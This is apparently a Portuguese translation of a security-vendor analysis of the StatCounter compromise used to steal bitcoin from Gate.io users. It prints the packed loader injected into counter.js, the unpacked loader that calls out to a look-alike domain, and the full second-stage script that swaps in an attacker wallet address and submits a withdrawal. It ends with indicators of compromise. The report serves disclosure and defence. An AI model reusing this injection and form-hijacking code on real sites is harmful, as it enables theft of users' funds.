Ataque de troca de criptomoeda Gate.io registrado

Em 4 de novembro, os invasores comprometeram o StatCounter, uma plataforma para analisar o tráfego da Web. O serviço é usado para coletar estatísticas sobre os visitantes do site, aproximadamente como o Google Analytics. Para fazer isso, os webmasters adicionam uma tag JavaScript externa a cada página do site que contém um código StatCounter - www.statcounter [.] Com / counter / counter.js. Usando o StatCounter, os invasores podem injetar código JavaScript em todos os sites que usam esta plataforma. No entanto, o objetivo do ataque era um recurso - a troca de criptomoedas Gate.io.


De acordo com seus próprios dados , o StatCounter possui mais de dois milhões de sites participantes; coleta estatísticas sobre mais de 10 bilhões de visualizações de páginas da web por mês. Sua classificação Alexa é um pouco acima de 5.000 (para comparação, o site oficial do Debian Linux, debian.org, tem uma classificação comparável).



Os invasores modificaram o script em www.statcounter [.] Com / counter / counter.js, adicionando um código malicioso mostrado no formulário abaixo, no meio do script. Isso é incomum porque o código malicioso é frequentemente adicionado ao início ou ao final de um arquivo legítimo. O código no meio de um script existente é mais difícil de perceber se você não o ler.

eval(function(p, a, c, k, e, r) { e = function(c) { return c.toString(a) }; if (!''.replace(/^/, String)) { while (c--) r[e(c)] = k[c] || e(c); k = [function(e) { return r[e] }]; e = function() { return '\\w+' }; c = 1 }; while (c--) if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]); return p }('3=""+2.4;5(3.6(\'7/8/9\')>-1){a 0=2.b(\'d\');0.e=\'f://ghi/cj\';0.k(\'l\',\'m\');2.nop(0)}', 26, 26, 'ga||document|myselfloc|location|if|indexOf|myaccount|withdraw|BTC|var|createElement||script|src|https|www|statconuter|com|php|setAttribute|async|true|documentElement|firstChild|appendChild'.split('|'), 0, {})); 

O script foi criado usando o wrapper Dean Edwards, provavelmente o wrapper JavaScript mais popular. No entanto, você pode simplesmente descompactá-lo, o que levará à execução do código de script real, como mostrado abaixo.

 myselfloc = '' + document.location; if (myselfloc.indexOf('myaccount/withdraw/BTC') > -1) { var ga = document.createElement('script'); ga.src = 'https://www.statconuter.com/c.php'; ga.setAttribute('async', 'true'); document.documentElement.firstChild.appendChild(ga); } 

O trecho de código verifica se o URL contém a conta / retirada / BTC do URI (Unified Resource Identifier). Com base nisso, podemos concluir que o alvo dos atacantes é a plataforma Bitcoin. Tendo encontrado o desejado, o script adiciona um novo elemento de script à página da Web, incorporando o código www.statconuter [.] Com / c.php.

Observe que os invasores registraram um domínio muito semelhante ao StatCounter legítimo. A diferença em duas letras - é difícil notar ao visualizar revistas por atividades suspeitas. A propósito, ao verificar o DNS passivo do domínio, descobrimos que em 2010 ele foi bloqueado por violações operacionais.



Novamente, o script visa um identificador específico (URI): myaccount / retirada / BTC . No momento da redação deste artigo, entre todas as trocas de criptomoedas, apenas o Gate.io tinha uma página válida com esse URI. Parece que essa troca em particular foi o alvo do ataque. Este site é bastante popular: sua classificação Alexa é 26.251 e sua classificação na China é 8.308.



Além disso, de acordo com coinmarketcap.com, vários milhões de dólares passam diariamente por essa plataforma, incluindo US $ 1,6 milhão em bitcoins. Em geral, o interesse dos invasores no Gate.io é fácil de explicar.



A página da Web www.gate [.] Io / minha conta / retirada / BTC (veja abaixo) é usada para transferir bitcoins de uma conta no gate.io para um endereço externo.



A carga útil do segundo estágio com statconuter [.] Com / c.php foi projetada para roubar bitcoins. O script, também empacotado usando Dean Edwards, está incorporado na página da web para converter bitcoins no Gate.io. Versão descompactada abaixo.

 document.forms[0]['addr'].value = ''; document.forms[0]['amount'].value = ''; doSubmit1 = doSubmit; doSubmit = function () { var a = document.getElementById('withdraw_form'); if ($('#amount').val() > 10) { document.forms[0]['addr']['name'] = ''; var s = $("<input type='hidden' name='addr'/>"); s.attr('value', '1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad'); var b = $('#withdraw_form'); b.append(s); a.submit(); } else if (document.getElementById('canUse').innerText > 10) { document.forms[0]['addr']['name'] = ''; var s = $("<input type='hidden' name='addr'/>"); s.attr('value', '1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad'); var b = $('#withdraw_form'); b.append(s); document.forms[0]['amount']['name'] = ''; var t = $("<input type='hidden' name='amount'/>"); t.attr('value', Math.min(document.getElementById('canUse').innerText, document.getElementById('dayLimit').innerText)); b.append(t); a.submit(); } else { doSubmit1(); } }; 

A página Gate.io legítima possui uma função doSubmit chamada quando o usuário clica no botão Enviar. No nosso caso, os atacantes mudaram.

O script malicioso substitui automaticamente o endereço da carteira de bitcoin do usuário pelo endereço pertencente ao invasor, por exemplo, 1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad . O servidor atacante gera um novo endereço sempre que um visitante baixa o script statconuter [.] Com / c.php.

O script usa a quantidade inserida pela vítima (se a vítima transferir mais de dez bitcoins) ou o limite diário para remover a criptomoeda da conta. Em nossa conta de teste, o limite de baixa foi definido como 100 BTC. Por fim, o script envia um formulário que transfere fundos da conta da vítima para o endereço da carteira do atacante.

O redirecionamento de fundos provavelmente é feito de forma invisível para as vítimas, pois a carteira é alterada depois de clicar no botão "Enviar". Isso acontece muito rapidamente e sem exibição visual.

Um novo endereço de bitcoin dos cibercriminosos é gerado toda vez que um script malicioso é solicitado, portanto não podemos estimar sua renda. Se você verificar o endereço que usamos na máquina de teste, o saldo será zero.



Conclusão


Não sabemos quantos bitcoins foram roubados durante este ataque. No entanto, o incidente mostra como os atacantes podem agir para atacar um recurso específico, em particular, uma troca de criptomoedas. Para roubar bitcoins dos usuários de uma bolsa, eles comprometeram a plataforma analítica usada por milhões de sites, incluindo vários sites do governo.

Além disso, mostra que, mesmo que seu site seja atualizado e protegido com segurança, ele ainda estará vulnerável a ataques por meio de recursos de terceiros. Outro lembrete de que o código JavaScript externo de terceiros está sujeito a alterações a qualquer momento, sem aviso prévio.

Avisamos o StatCounter e o Gate.io sobre atividades maliciosas.

Indicadores de compromisso


URLs maliciosos

www.statcounter [.] Com / counter / counter.js
www.statconuter [.] Com / c.php

Source: https://habr.com/ru/post/pt429050/


All Articles